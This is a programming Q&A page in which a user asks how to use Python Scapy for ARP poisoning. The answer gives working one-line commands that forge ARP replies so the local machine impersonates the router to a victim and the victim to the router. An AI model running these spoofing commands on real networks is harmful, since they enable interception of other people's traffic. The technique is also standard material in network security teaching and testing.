Search code examples
python-2.7scapyarp

Python 2.7 -scapy and ARP


I am trying to use the "ip is at macadress" option but cant figure how to do so... here is my code atm:

from scapy.all import *
victim = "192.168.5.51"
spoof = "192.168.5.46"
op=2
mac = "88:00:2e:00:87:00"
while True:
    arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac)
    send(arp)

What I am looking for is to send the victim ip a ARP packet with the the default gateway ip/mac and send the gateway the ip/mac of the attacker The attack is arp poisonning


Solution

  • It's a bit unclear what you're trying to achieve, but if all that you're interested in is creating an ARP reply of the form "192.168.5.51 is at 00:00:00:00:00:00", in which the values of all other fields are irrelevant, then this should suffice:

    send(ARP(op=ARP.is_at, psrc='192.168.5.51', hwsrc='00:00:00:00:00:00'))
    

    EDIT:

    This sends the victim an ARP reply packet with the local machine masquerading as the router:

    send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
    

    This sends the router an ARP reply packet with the local machine masquerading as the victim:

    send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
    

    In both of these packets, the hwsrc field is filled by default with the local machine's MAC address.